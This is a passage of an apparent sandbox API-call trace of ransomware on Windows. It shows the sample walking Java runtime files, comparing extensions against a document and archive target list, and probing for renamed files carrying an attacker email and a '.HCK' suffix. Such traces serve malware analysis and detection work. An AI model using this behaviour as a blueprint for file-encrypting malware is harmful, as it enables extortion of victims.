lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString=".bz2") returned 4 [0225.371] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.371] lstrlenW (lpString=".7z") returned 3 [0225.371] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".dbf") returned 4 [0225.371] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".1cd") returned 4 [0225.371] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".jpg") returned 4 [0225.371] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".doc") returned 4 [0225.371] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.372] lstrlenW (lpString=".docx") returned 5 [0225.372] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0225.372] lstrlenW (lpString=".pdf") returned 4 [0225.372] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.372] lstrlenW (lpString=".xls") returned 4 [0225.372] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.372] lstrlenW (lpString=".xlsx") returned 5 [0225.372] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0225.372] lstrlenW (lpString=".ppt") returned 4 [0225.372] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.372] lstrlenW (lpString=".zip") returned 4 [0225.372] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.372] lstrlenW (lpString=".rar") returned 4 [0225.372] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.372] lstrlenW (lpString=".bz2") returned 4 [0225.372] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.372] lstrlenW (lpString=".7z") returned 3 [0225.372] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.372] lstrlenW (lpString=".dbf") returned 4 [0225.372] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.372] lstrlenW (lpString=".1cd") returned 4 [0225.372] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.372] lstrlenW (lpString=".jpg") returned 4 [0225.372] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.372] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.372] lstrlenW (lpString="prism_common.dll") returned 16 [0225.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.373] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=57408) returned 1 [0225.373] CloseHandle (hObject=0x43c) returned 1 [0225.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0225.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.373] lstrlenW (lpString=".doc") returned 4 [0225.373] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString=".docx") returned 5 [0225.373] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0225.373] lstrlenW (lpString=".pdf") returned 4 [0225.373] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString=".xls") returned 4 [0225.373] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString=".xlsx") returned 5 [0225.373] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0225.373] lstrlenW (lpString=".ppt") returned 4 [0225.373] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.373] lstrlenW (lpString=".zip") returned 4 [0225.373] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString=".rar") returned 4 [0225.373] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.373] lstrlenW (lpString=".bz2") returned 4 [0225.373] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.373] lstrlenW (lpString=".7z") returned 3 [0225.373] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.373] lstrlenW (lpString=".dbf") returned 4 [0225.373] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".1cd") returned 4 [0225.374] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".jpg") returned 4 [0225.374] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".doc") returned 4 [0225.374] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString=".docx") returned 5 [0225.374] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0225.374] lstrlenW (lpString=".pdf") returned 4 [0225.374] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString=".xls") returned 4 [0225.374] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString=".xlsx") returned 5 [0225.374] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0225.374] lstrlenW (lpString=".ppt") returned 4 [0225.374] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".zip") returned 4 [0225.374] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString=".rar") returned 4 [0225.374] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.374] lstrlenW (lpString=".bz2") returned 4 [0225.374] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.374] lstrlenW (lpString=".7z") returned 3 [0225.374] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".dbf") returned 4 [0225.374] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".1cd") returned 4 [0225.374] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0225.374] lstrlenW (lpString=".jpg") returned 4 [0225.374] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.374] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.374] lstrlenW (lpString="prism_d3d.dll") returned 13 [0225.374] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.375] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=130624) returned 1 [0225.375] CloseHandle (hObject=0x43c) returned 1 [0225.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0225.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".doc") returned 4 [0225.376] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".docx") returned 5 [0225.376] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0225.376] lstrlenW (lpString=".pdf") returned 4 [0225.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".xls") returned 4 [0225.376] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".xlsx") returned 5 [0225.376] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0225.376] lstrlenW (lpString=".ppt") returned 4 [0225.376] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".zip") returned 4 [0225.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".rar") returned 4 [0225.376] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".bz2") returned 4 [0225.376] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.376] lstrlenW (lpString=".7z") returned 3 [0225.376] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".dbf") returned 4 [0225.376] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".1cd") returned 4 [0225.376] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".jpg") returned 4 [0225.376] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".doc") returned 4 [0225.376] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".docx") returned 5 [0225.376] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0225.376] lstrlenW (lpString=".pdf") returned 4 [0225.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".xls") returned 4 [0225.376] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".xlsx") returned 5 [0225.376] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0225.376] lstrlenW (lpString=".ppt") returned 4 [0225.376] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.376] lstrlenW (lpString=".zip") returned 4 [0225.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.376] lstrlenW (lpString=".rar") returned 4 [0225.377] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.377] lstrlenW (lpString=".bz2") returned 4 [0225.377] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.377] lstrlenW (lpString=".7z") returned 3 [0225.377] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.377] lstrlenW (lpString=".dbf") returned 4 [0225.377] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.377] lstrlenW (lpString=".1cd") returned 4 [0225.377] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0225.377] lstrlenW (lpString=".jpg") returned 4 [0225.377] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.377] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.377] lstrlenW (lpString="prism_sw.dll") returned 12 [0225.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.377] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=97856) returned 1 [0225.377] CloseHandle (hObject=0x43c) returned 1 [0225.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0225.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".doc") returned 4 [0225.378] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".docx") returned 5 [0225.378] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0225.378] lstrlenW (lpString=".pdf") returned 4 [0225.378] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".xls") returned 4 [0225.378] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".xlsx") returned 5 [0225.378] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0225.378] lstrlenW (lpString=".ppt") returned 4 [0225.378] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".zip") returned 4 [0225.378] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".rar") returned 4 [0225.378] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".bz2") returned 4 [0225.378] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.378] lstrlenW (lpString=".7z") returned 3 [0225.378] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".dbf") returned 4 [0225.378] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".1cd") returned 4 [0225.378] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".jpg") returned 4 [0225.378] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.378] lstrlenW (lpString=".doc") returned 4 [0225.378] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".docx") returned 5 [0225.378] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0225.378] lstrlenW (lpString=".pdf") returned 4 [0225.378] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".xls") returned 4 [0225.378] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.378] lstrlenW (lpString=".xlsx") returned 5 [0225.379] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0225.379] lstrlenW (lpString=".ppt") returned 4 [0225.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.379] lstrlenW (lpString=".zip") returned 4 [0225.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.379] lstrlenW (lpString=".rar") returned 4 [0225.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.379] lstrlenW (lpString=".bz2") returned 4 [0225.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.379] lstrlenW (lpString=".7z") returned 3 [0225.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.379] lstrlenW (lpString=".dbf") returned 4 [0225.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.379] lstrlenW (lpString=".1cd") returned 4 [0225.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0225.379] lstrlenW (lpString=".jpg") returned 4 [0225.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.379] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.379] lstrlenW (lpString="resource.dll") returned 12 [0225.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.379] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15424) returned 1 [0225.379] CloseHandle (hObject=0x43c) returned 1 [0225.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0225.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".doc") returned 4 [0225.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".docx") returned 5 [0225.380] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0225.380] lstrlenW (lpString=".pdf") returned 4 [0225.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".xls") returned 4 [0225.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".xlsx") returned 5 [0225.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0225.380] lstrlenW (lpString=".ppt") returned 4 [0225.380] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".zip") returned 4 [0225.380] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".rar") returned 4 [0225.380] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".bz2") returned 4 [0225.380] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.380] lstrlenW (lpString=".7z") returned 3 [0225.380] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".dbf") returned 4 [0225.380] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".1cd") returned 4 [0225.380] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".jpg") returned 4 [0225.380] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.380] lstrlenW (lpString=".doc") returned 4 [0225.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".docx") returned 5 [0225.380] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0225.380] lstrlenW (lpString=".pdf") returned 4 [0225.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".xls") returned 4 [0225.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.380] lstrlenW (lpString=".xlsx") returned 5 [0225.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0225.381] lstrlenW (lpString=".ppt") returned 4 [0225.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.381] lstrlenW (lpString=".zip") returned 4 [0225.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.381] lstrlenW (lpString=".rar") returned 4 [0225.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.381] lstrlenW (lpString=".bz2") returned 4 [0225.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.381] lstrlenW (lpString=".7z") returned 3 [0225.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.381] lstrlenW (lpString=".dbf") returned 4 [0225.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.381] lstrlenW (lpString=".1cd") returned 4 [0225.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0225.381] lstrlenW (lpString=".jpg") returned 4 [0225.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.381] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0225.381] lstrlenW (lpString="rmid.exe") returned 8 [0225.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.381] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15936) returned 1 [0225.381] CloseHandle (hObject=0x43c) returned 1 [0225.381] GetFileAttributesW (lpFileName="C:\\Program 